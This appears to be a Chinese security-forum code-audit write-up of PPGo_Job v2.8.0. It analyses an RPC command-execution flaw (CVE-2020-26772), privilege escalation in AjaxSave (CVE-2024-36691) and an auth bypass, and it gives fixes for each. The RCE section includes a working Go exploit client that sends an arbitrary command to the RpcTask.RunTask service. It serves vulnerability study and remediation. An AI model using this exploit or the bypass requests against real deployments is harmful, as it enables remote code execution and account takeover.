问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
PPGo_Job定时任务系统漏洞总结
漏洞分析
PPGo_Job历史漏洞总结,方便归类学习
介绍 -- [https://github.com/george518/PPGo\_Job](https://github.com/george518/PPGo_Job) PPGo\_Job是一款使用go语言开发的轻量级定时任务管理系统,持定时任务可视化管理、多人多权限的管理,支持大并发,可同时管理多台服务器上的定时任务。 环境搭建 ---- > 系统:windows11 go版本:go1.23.9 ppgo\_job版本:2.8.0 mysql版本:5.7.26 我是下载的源码,刚开始下载的PPGo\_Job-Master-v2.8.0-windows-amd64.zip这个打包的方法,发现跑不起来。  配置config文件: 配置数据库账号密码,创建与配置文件db.name同名的数据库,然后在数据库管理软件运行ppgo\_job2.sql即可   执行go mod init ppgo\_job、go tidy、go mod vender   之后正常的话就能启动了   Rce漏洞(CVE-2020-26772) --------------------- ### 漏洞介绍 <https://www.yisu.com/cve/17020.html> PPGo\_Job是一款轻量级定时任务管理系统,go语言开发,部署超级简单,资源消耗少,运行稳定。 PPGo\_Jobs v2.8.0 中存在安全漏洞,该漏洞允许远程攻击者通过“AjaxRun()”函数执行任意代码。 ### 漏洞分析 根据公开的漏洞信息,定位到`RunTask`函数。  进入`RestJobFromTask`函数:  继续进入`ResetCommandJob`函数: 可以看到参数中的command参数直接作为`exec.Command`的执行参数,参数可控。  那么怎么触发呢?回到`RpcTask`这个类,可以看到该类被注册了RPC服务,也就是如果目标网站开启了RPC服务,我们就可以通过调用该目标RPC服务的`RpcTask.RunTask`方法,此时服务器会将我们传入的`RunTask`方法的参数也就是Task结构体带入执行,将其中的`Task.Command`字段作为cmd执行的参数执行造成RCE。  ### 漏洞复现 该漏洞利用需要目标站点先开启rpc服务器,也就是执行项目中的./agent/main.go,但这里有两signal.go、task.go两文件有报错需要解决。 > 注意:/agent/main.go还有/main.go引用的外部文件都是/vendor下的,比如这里的signal.go、task.go是vendor\\github.com\\george518\\PPGo\_Job\\agent\\server下的。  错误1:signal.go文件报错,直接删了`syscall.SIGUSR1`, `syscall.SIGUSR2`参数即可。  错误2:task.go文件报错,因为引用该`RpcResult`结构体的只有该文件下的代码,所以我是直接将该结构体名改成`RpcResult_t`连带修改task.go文件中引用的地方。  现在就能执行./agent/main.go开启rpc服务了(需要先启动web服务):  **exp:** 这里payload为`dir > 11.txt` ```js package main import ( "encoding/json" "fmt" "net" "net/rpc" "net/rpc/jsonrpc" ) type JobResult struct { OutMsg string ErrMsg string IsOk bool IsTimeout bool } type Task struct { Id int GroupId int ServerIds string ServerType int TaskName string Description string CronSpec string Concurrent int Command string Timeout int ExecuteTimes int PrevTime int64 Status int IsNotify int NotifyType int NotifyTplId int NotifyUserIds string CreateId int UpdateId int CreateTime int64 UpdateTime int64 } func main() { //command字段值就是rce命令 req := `{"Id":17,"GroupId":1,"ServerIds":"12","ServerType":0,"TaskName":"wwwwwww","Description":"wwwwwww","CronSpec":"* * * * *","Concurrent":0,"Command":"dir > 11.txt","Timeout":1000,"ExecuteTimes":0,"PrevTime":0,"Status":0,"IsNotify":0,"NotifyType":0,"NotifyTplId":0,"NotifyUserIds":"","CreateId":1,"UpdateId":0,"CreateTime":1600687576,"UpdateTime":1600687576}` //rpc默认端口1564,可以在./agent/config/config.ini配置。 conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", "127.0.0.1", 1564)) reply := new(JobResult) if err != nil { reply.IsOk = false reply.ErrMsg = "Net error:" + err.Error() reply.IsTimeout = false reply.OutMsg = "" fmt.Println("error ", err) return //return reply } defer conn.Close() client := rpc.NewClientWithCodec(jsonrpc.NewClientCodec(conn)) defer client.Close() reply = new(JobResult) task := new(Task) err = json.Unmarshal([]byte(req),&task) if err != nil { fmt.Println("error in unmarshal" , err) } err = client.Call("RpcTask.RunTask", task, &reply) if err != nil { reply.IsOk = false reply.ErrMsg = "Net error:" + err.Error() reply.IsTimeout = false reply.OutMsg = "" //return reply } return } ``` 执行完可以看到创建了11.txt:   ### 漏洞防范 项目已经好几年没更新了一直没修复,防御的话,非必要不开启项目的Rpc服务就是了,真要使用的话可以修改/config/config.ini文件让该服务只开放在内网里:  越权漏洞(CVE-2024-36691) -------------------- ### 漏洞介绍 <https://cve.imfht.com/detail/CVE-2024-36691> PPGo\_Jobs v2.8.0 中的 `AdminController.AjaxSave()`方法存在不安全的权限问题,允许经过身份验证的攻击者任意修改用户的账户信息。 ### 漏洞分析 #### 第一处:UserController.AjaxSave() 方法 该方法用来修改用户个人资料信息,如账号名、姓名、手机号码、密码等。 看代码可以看到,要修改的目标账号是通过请求包中的id参数指定的,且未对用户权限做校验导致可以越权修改其他账号(包括admin用户)信息。  请求包:  漏洞点位置:  #### 漏洞修复 要进行修改的目标用户ID不从请求中获取,改为直接获取当前userId即可:  #### 第二处:AdminController.AjaxSave() 方法 可以看到该处理方法也是通过获取请求包中的id参数值来指定要进行修改或新增的目标用户。  当前端传入的id参数不存在即默认为0时为进行新增用户操作。  否则进行修改用户信息的操作,可以看到代码仅对普通管理员对admin超级管理员的修改做了校验,存在越权修改其他管理员账号信息的漏洞,包括能对目标账号密码进行重置。  漏洞功能点位置:  #### 漏洞修复 从该系统页面功能点来看,原本设定的应该是只有超级管理员才能进行用户的添加/修改操作,所以修复的话加个判断当前用户的userId是否为超级管理员(1)即可:   未授权漏洞 ----- ### 漏洞介绍 <https://forum.butian.net/share/928> 该漏洞源于鉴权方法`Auth()`的实现缺陷。当系统检测到用户权限不足时,未能及时终止请求处理流程,导致页面数据仍然正常加载,从而绕过权限控制。 ### 漏洞分析 Beego 框架请求处理流程是先执行 `Prepare()` 方法,再执行具体的请求处理方法(如 `Get()`、`Post()` 等),可以看到`Prepare`方法调用了`Auth()`方法用于鉴权。  跳转到`Auth()`方法,`Auth()`方法代码如下:  重点看`isHasAuth == false && isNoAuth == false`这个if条件的内容,可以看到上下两部分的处理代码在检测到“没有权限”后,代码都没有使用如`self.StopRun()`终止处理流程,这会导致 Beego 继续执行后续的请求处理方法并渲染页面内容。  比如该项目中的`redirect`方法就使用了`self.StopRun`方法避免了这个问题。  ### 漏洞复现 **构造请求** 先是要进入上级if条件:  len(arr)跟userId > 0 也就是请求包中Cookie的auth字段值是用|符号划分的两个部分,且|左边的id值大于0即可,如:  然后进入目标if条件:`isHasAuth == false && isNoAuth == false`。  条件1:`isHasAuth == false`,也就是`strings.Contains(self.allowUrl, self.controllerName+"/"+self.actionName)`为false,在调试的时候可以看到self.allowUrl为空,所以该条件默认成立不用管。  条件2:`isNoAuth == false`,也就是`strings.Contains(noAuth, self.actionName)`为false,所以我们构造的未授权访问请求包的actionName不能包含以下关键字:  这个项目将url请求基本分为controllerName跟actionName,actionName也就是请求中按斜杠/数的第二个参数。  所以构造如下请求,可以看到虽然触发“没有权限”的弹窗,但页面数据还是正常进行加载显示。   ### 漏洞修复 在判断条件`if isHasAuth == false && isNoAuth == false {`代码内添加上两个函数self.StopRun()避免请求继续执行:   总结 -- java代码审计太难了,看不下去一点,刚用go语言写完毕设想着对该语言还比较熟悉就想学点go代码审计,也是看到站内师傅审ppgo\_job的文章,但只讲了上面的“未授权”漏洞而且感觉讲的漏洞成因跟我复现的对不上(,所以想着整合一下了。
发表于 2025-05-22 09:00:02
阅读 ( 297 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
厉飞宇
简拉基次德
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!